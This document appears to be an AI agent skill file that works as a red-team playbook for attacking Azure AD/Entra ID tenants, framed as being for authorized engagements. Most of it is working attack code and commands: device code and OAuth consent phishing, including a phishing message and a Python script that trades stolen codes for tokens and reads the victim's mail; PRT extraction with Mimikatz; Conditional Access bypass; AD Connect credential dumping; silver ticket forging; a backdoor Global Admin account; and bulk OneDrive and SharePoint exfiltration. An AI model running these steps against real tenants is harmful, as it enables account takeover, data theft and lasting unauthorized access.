---
name: rt-azure-ad
description: "Azure Active Directory / Entra ID attack skill for authorized engagements. Device code phishing for token theft, Primary Refresh Token (PRT) abuse, OAuth 2.0 consent grant attacks, Azure AD application abuse, Conditional Access Policy bypass, Guest account abuse, Azure AD Connect exploitation, Seamless SSO silver ticket, and Pass-the-PRT. Use when engagement scope includes Microsoft 365, Azure AD, or hybrid identity environments."
---

# rt-azure-ad — Azure Active Directory / Entra ID Attacks

## Overview

Azure AD (now Microsoft Entra ID) is the identity backbone for Microsoft 365, Azure, and hybrid on-premises AD environments. Compromising Azure AD provides access to: email (Exchange Online), files (SharePoint/OneDrive), Teams, Azure subscriptions, and on-prem AD via hybrid sync.

**Key attack vectors:**
- Phishing tokens (device code, OAuth consent)
- PRT (Primary Refresh Token) theft from Windows devices
- Azure AD Connect password sync exploitation
- Over-privileged applications and service principals

---

## Phase 1 — Enumeration (Unauthenticated)

```bash
# Install AADInternals (PowerShell — most powerful Azure AD tool)
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals

# Enumerate tenant info without credentials
Invoke-AADIntReconAsOutsider -DomainName corp.com | Format-Table

# Output:
# Tenant ID, tenant name, authentication type
# AAD Connect enabled? (hybrid sync present?)
# Federation provider (ADFS?)
# MFA enforced?

# Check if domain is federated (ADFS) or managed (Azure AD direct)
Get-AADIntLoginInformation -Domain corp.com

# Enumerate valid users (no auth needed — response timing)
Invoke-AADIntUserEnumerationAsOutsider -UserNames users.txt -Domain corp.com

# Tools
# ROADtools: https://github.com/dirkjanm/ROADtools
pip3 install roadtools roadrecon
roadrecon auth -u user@corp.com -p Password1
roadrecon gather
roadrecon gui  # Browse all Azure AD objects at http://localhost:5000
```

---

## Phase 2 — Device Code Phishing (Token Theft)

```bash
# Device code flow: user enters code at microsoft.com/devicelogin
# Attacker polls for token while user authenticates
# Bypasses password requirement — user just needs to enter a code
# Very effective: looks like "sign in to this app" — hard to distinguish from legit

# Generate device code
Invoke-AADIntDeviceCodeFlow -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Output:
# user_code: ABC123DEF  ← send this to target
# verification_url: https://microsoft.com/devicelogin
# expires_in: 900 seconds

# Send phishing message to target:
# "Please authenticate to our SharePoint portal: go to microsoft.com/devicelogin and enter code: ABC123DEF"

# Poll for authentication (runs while target enters code)
# AADInternals polls automatically → outputs access token when user authenticates

# With token — access all Microsoft services
$token = Get-AADIntAccessTokenForMSGraph
Get-AADIntUsers -AccessToken $token  # All Azure AD users
Invoke-AADIntGetMailboxes -AccessToken $token  # Exchange mailboxes

# TokenTacticsV2 (more complete device code phishing framework)
git clone https://github.com/f-bader/TokenTacticsV2
Import-Module .\TokenTacticsV2.psd1
Invoke-DeviceCodeFlow  # Interactive — shows code to send target
```

---

## Phase 3 — Primary Refresh Token (PRT) Abuse

```bash
# PRT = long-lived token on Azure AD joined/registered Windows devices
# Stored in LSA — not accessible normally
# If you have SYSTEM on a Windows device → steal PRT → authenticate as user

# Check if device is Azure AD joined
dsregcmd /status | grep -i "AzureAdJoined\|WorkplaceJoined"
# AzureAdJoined: YES = has PRT

# Extract PRT with ROADtoken (requires SYSTEM)
# https://github.com/dirkjanm/ROADtoken
.\ROADtoken.exe  # Outputs PRT + session key

# Or with AADInternals
Get-AADIntUserPRT  # Gets current user's PRT
Get-AADIntUserPRTToken  # Gets PRT token for use

# Create cookie from PRT (Pass-the-PRT)
# Use PRT to authenticate to any Azure AD resource without password
$prtCookie = New-AADIntUserPRTToken -RefreshToken $prt -SessionKey $sessionKey
# Use cookie in browser: DevTools → Application → Cookies → x-ms-RefreshTokenCredential = $prtCookie
# Navigate to portal.azure.com or office.com → authenticated as victim

# Mimikatz PRT extraction
sekurlsa::cloudap  # Extracts PRT from LSASS CloudAP provider
```

---

## Phase 4 — OAuth Consent Grant Attack

```bash
# Register malicious Azure AD app → trick user into granting permissions
# No password needed — just user consent
# App gets long-lived access to: email, files, calendar, contacts

# Step 1: Register app in attacker tenant
# Azure Portal → Azure Active Directory → App Registrations → New
# Name: "Excel Add-in Productivity Tool" (believable)
# Redirect URI: https://your-server.com/callback
# API Permissions: Mail.Read, Files.Read.All, Calendars.Read, User.Read

# Step 2: Craft consent URL
$clientId = "YOUR_APP_CLIENT_ID"
$redirectUri = "https://your-server.com/callback"
$scope = "https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"

$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
  "client_id=$clientId&response_type=code&redirect_uri=$redirectUri" +
  "&scope=$scope&state=12345"

# Step 3: Send to target (phishing email):
# "Please authorize the Excel productivity add-in: $consentUrl"

# Step 4: User clicks → Microsoft consent screen → user approves → redirect with code
# Exchange code for tokens on your server

# Step 5: Use refresh token for persistent access
# Refresh token valid 90 days (or until revoked)
python3 << 'EOF'
import requests

token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
data = {
    "client_id": CLIENT_ID,
    "client_secret": CLIENT_SECRET,
    "code": AUTH_CODE,
    "redirect_uri": REDIRECT_URI,
    "grant_type": "authorization_code"
}
r = requests.post(token_url, data=data)
tokens = r.json()
print("Access token:", tokens['access_token'][:50])
print("Refresh token:", tokens['refresh_token'][:50])

# Read victim's email
headers = {"Authorization": f"Bearer {tokens['access_token']}"}
mail = requests.get("https://graph.microsoft.com/v1.0/me/messages", headers=headers)
print(mail.json())
EOF
```

---

## Phase 5 — Conditional Access Policy Bypass

```bash
# Conditional Access (CA) can require: MFA, compliant device, specific location
# Bypass techniques:

# Technique 1: Legacy authentication protocols (if not blocked)
# Basic Auth to Exchange Online bypasses MFA
curl -u "user@corp.com:Password1" \
  "https://outlook.office365.com/api/v2.0/me/messages" \
  -H "Accept: application/json"

# Check if legacy auth is allowed
Get-AADIntTenantDetails | Select-Object allowLegacyAuth

# Technique 2: Trusted location bypass
# CA often allows access from "trusted IPs" (office building)
# If you have a foothold inside the network → access from trusted IP

# Technique 3: CA doesn't apply to service principals
# Register app → use app credentials → not subject to user CA policies

# Technique 4: Continuous Access Evaluation (CAE) gap
# Tokens valid for 1 hour even if CA policy changes
# Steal token → use within validity window

# Technique 5: Named location spoofing
# Some CA policies allow from "Any Compliant Device"
# If device is Azure AD joined → PRT automatically satisfies device compliance
```

---

## Phase 6 — Azure AD Connect Exploitation

```bash
# Azure AD Connect syncs on-prem AD → Azure AD
# If you own the AD Connect server → dump all password hashes

# Find AD Connect server
Get-ADComputer -Filter {ServicePrincipalName -like "*AADConnect*"} -Properties *
# Or check for MSOL_ account in AD:
Get-ADUser -Filter {SamAccountName -like "MSOL_*"} -Properties *

# Dump AD Connect credentials (AADInternals)
# Run on AD Connect server as local admin
Get-AADIntSyncCredentials
# Output:
# ADDomain: corp.local
# ADUsername: MSOL_abc123
# ADPassword: CLEARTEXT_PASSWORD  ← NTLM sync service account
# AzureUsername: sync_abc123@corp.onmicrosoft.com
# AzurePassword: CLEARTEXT_PASSWORD

# Use Azure sync account to dump ALL hashes via DCSync-equivalent
# Sync account has "Replicating Directory Changes" rights
impacket-secretsdump 'corp.local/MSOL_abc123:PASSWORD@DC_IP'

# Pass hash for all users directly to Azure AD
# AADInternals: set arbitrary password for any Azure AD user
Set-AADIntUserPassword -SourceAnchor "SOURCEANCHO=" -Password "NewPassword1!"
```

---

## Phase 7 — Seamless SSO Silver Ticket

```bash
# Azure AD Seamless SSO uses Kerberos
# Service account: AZUREADSSOACC$ — has a known Kerberos key
# Create silver ticket → authenticate to Azure AD as any user

# Step 1: Extract AZUREADSSOACC$ password hash
# (Requires DCSync rights or AD Connect server access)
impacket-secretsdump corp.local/admin:Password1@DC_IP | grep AZUREADSSOACC

# Step 2: Forge silver ticket
python3 ticketer.py \
  -nthash AZUREADSSOACC_NTHASH \
  -domain-sid DOMAIN_SID \
  -domain corp.local \
  -spn "HTTP/aadg.windows.net.nsatc.net" \
  TargetUser

# Step 3: Convert to Azure AD token
# AADInternals
$kerbTicket = Get-Content ticket.kirbi
$token = New-AADIntUserAccessTokenFromKerberos -KerberosTicket $kerbTicket
# → Authenticated as TargetUser in Azure AD without their password
```

---

## Phase 8 — Post-Compromise Azure AD

```bash
# After gaining Azure AD Global Admin or privileged role

# Enumerate entire tenant
roadrecon gather --access-token $token
roadrecon gui

# Add backdoor credentials to service principal
# Even if password is reset → backdoor app keeps access
New-AADIntServicePrincipalCertificate -ApplicationId APP_ID
# Returns: certificate that authenticates as the service principal

# Create new Global Admin (persistence)
New-AADIntUser -UserPrincipalName "svc-monitor@corp.onmicrosoft.com" \
  -DisplayName "Monitoring Service" \
  -Password "Secure123!" \
  -UserRole GlobalAdministrator

# Golden SAML via AADInternals (if ADFS present — see rt-adfs)
# Extract ADFS token signing certificate → forge any SAML assertion

# Exfil via Microsoft Graph
# Download all OneDrive files
Get-AADIntOneDriveFiles -AccessToken $token | Export-Csv onedrive_files.csv
# Download SharePoint
Get-AADIntSharePointFiles -AccessToken $token -SiteUrl "https://corp.sharepoint.com/sites/internal"
```

---

## Skill Levels

**BEGINNER:** Device code phishing → access M365 email/files · ROADrecon enumeration

**INTERMEDIATE:** OAuth consent grant attack · CA policy bypass via legacy auth · Azure AD Connect credential dump

**ADVANCED:** PRT theft and Pass-the-PRT · Seamless SSO silver ticket · Service principal backdoor

**EXPERT:** Golden SAML via ADFS + Azure AD trust · Cross-tenant attacks · Full hybrid identity compromise chain

---

## References

- AADInternals: https://github.com/Gerenios/AADInternals
- ROADtools: https://github.com/dirkjanm/ROADtools
- TokenTacticsV2: https://github.com/f-bader/TokenTacticsV2
- Azure AD Kill Chain: https://aadinternals.com/post/azuread_attack/
- MITRE T1528: https://attack.mitre.org/techniques/T1528/
